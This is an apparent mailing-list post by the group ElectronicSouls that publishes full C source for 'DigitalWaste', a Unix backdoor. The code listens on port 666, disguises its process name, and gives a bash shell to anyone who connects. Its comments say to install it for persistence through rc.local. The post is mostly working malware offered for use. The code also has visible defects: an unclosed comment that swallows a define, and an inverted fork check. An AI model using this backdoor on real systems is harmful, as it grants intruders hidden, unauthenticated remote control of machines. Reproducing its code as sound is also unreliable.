full-disclosure - [ElectronicSouls] - Proof of Concept Backdoor

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From: es at hush.com (es@...h.com)
Subject: [ElectronicSouls] - Proof of Concept Backdoor

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Dear List,

This proof-of-concept code proves that systems can be backdoored in
this fashion.  Use this wisely.

# cat DigitalWaste.c
/************************************************************/
/*                   ---=DigitalWaste=---                   */
/************************************************************/
/*                                                          */
/*   -------------BASIC UNIX BACKDOOR                       */
/*   (C) BrainStorm [ElectronicSouls]                       */
/************************************************************/
/*   compile:                                               */
/*   # gcc dw.c -o DigitalWaste                             */ /************************************************************/
/*   usage: ./dw &                                          */
/*   for example :                                          */
/*        - mv DigitalWaste /path/somwhere                  */
/*        - echo "/path/somwhere &" >> /etc/rc.d/rc.local   */
/************************************************************/
/* this is just a old piece of code that i made just for fun*/
/* ..i know its lame so if u don't like it just stfu ...    */
/************************************************************/

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <strings.h>

/*  Change 'Port' & 'HIDE' defines if u want to !  */

#define P0rt 666       /*  Change 'Port' to the port u want D.W. to listen on                 */
#define HiDE "DW"      /*  Change 'HIDE' to the name u want D.W. to show as in ps */
#define SH "/bin/bash" /*  define SHELL
#define LSTN 5

int main(int argc, char **argv)
{
char *fst = "\nConnected! =--------= DigitalWaste Unix Backdoor \n\n";
char *sec = "=----------= (C) BrainStorm [ElectronicSouls] =----- \n";
char *thr = "!! Be sure to enter each command followed by a ';' !!\n";

int outsock, insock, sz;

struct sockaddr_in home;
struct sockaddr_in away;

home.sin_family=AF_INET;
home.sin_port=htons(P0rt);

home.sin_addr.s_addr=INADDR_ANY;
bzero(&(home.sin_zero),8);

strcpy(argv[0],HiDE);
signal(SIGCHLD,SIG_IGN);

if((outsock=socket(AF_INET,SOCK_STREAM,0))<0)
  exit(printf("------=> Socket error\n"));
if((bind(outsock,(struct sockaddr *)&home,sizeof(home))<0))
  exit(printf("------=> Bind error !\n"));
if((listen(outsock,LSTN))<0)
  exit(printf("------=> Listen error !\n"));

sz=sizeof(struct sockaddr_in);
for(;;)
{
  if((insock=accept(outsock,(struct sockaddr *)&away, &sz))<0)
    exit(printf("------=> Accept error !"));
  if(fork() !=0)
   {
   send(insock,fst,strlen(fst),0);
   send(insock,sec,strlen(sec),0);
   send(insock,thr,strlen(thr),0);

     dup2(insock,0);
     dup2(insock,1);
     dup2(insock,2);

   execl(SH,SH,(char *)0); /* guess what ?! */
  close(insock);
 exit(0);                /* well done =)  */
   }
close(insock);
  }
}

/* ..a ElectronicSouls production  ..thats it dudes.. */

#

The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"We are friends of Brian McWilliams."

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